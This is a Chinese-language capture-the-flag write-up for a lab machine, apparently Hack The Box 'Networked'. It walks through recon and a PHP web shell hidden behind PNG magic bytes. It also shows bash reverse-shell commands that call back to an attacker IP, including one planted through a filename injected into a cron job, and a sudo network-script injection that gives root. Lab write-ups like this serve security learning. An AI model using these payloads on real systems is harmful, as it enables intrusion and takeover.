maptnh
- 关注

信息收集
IP Address | Opening Ports |
---|---|
10.10.10.146 | TCP:22,80 |
$ nmap -p- 10.10.10.146 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
HTTP
http://10.10.10.146/
$ gobuster dir -u "http://10.10.10.146/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
$ wget http://10.10.10.146/backup/backup.tar;tar xvf backup.tar
$ cat lib.php
Apache 2.4.x存在向上解析漏洞
$ echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r >shell.php.png
$ echo '<?php system($_GET[1]);?>'>>shell.php.png
http://10.10.10.146/photos.php
http://10.10.10.146/uploads/10_10_16_14.php.png?1=dir
$ curl 'http://10.10.10.146/uploads/10_10_16_14.php.png?1=%2fbin%2fbash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.16.14%2f10032+0%3e%261%27'
定时任务命令注入
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
这段脚本列出 /uploads 文件夹中的文件,并根据文件名检查其有效性。任何无效的文件都通过 system exec() 函数被删除。
$value 变量存储了文件名,但脚本没有对其进行清理,这意味着我们可以通过特殊的文件名注入命令。例如,一个名为 "; cmd 的文件会导致以下命令被执行:
nohup /bin/rm -f $path;cmd > /dev/null 2>&1 &
$ cd /var/www/html/uploads; reverse=$(echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.14/10034 0>&1"' | base64); touch -- "; echo $reverse | base64 -d | bash"
User.txt
6b914b0701e297b83c7e6d052dc37247
权限提升
[guly@networked /]$ sudo -l
[guly@networked /]$ cat /usr/local/sbin/changename.sh
脚本为 guly0 网络接口创建配置,并在最后使用 ifup guly0 来激活它。用户输入经过验证,只允许字母数字字符、斜杠或破折号。CentOS 上的网络配置脚本对命令注入存在漏洞,因为这些脚本会被底层服务引用,导致任何在空格后的内容都会被执行。我们可以利用这个漏洞通过执行 /bin/bash 作为 root 用户。
sudo /usr/local/sbin/changename.sh
x /bin/bash
x
x
x
Root.txt
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
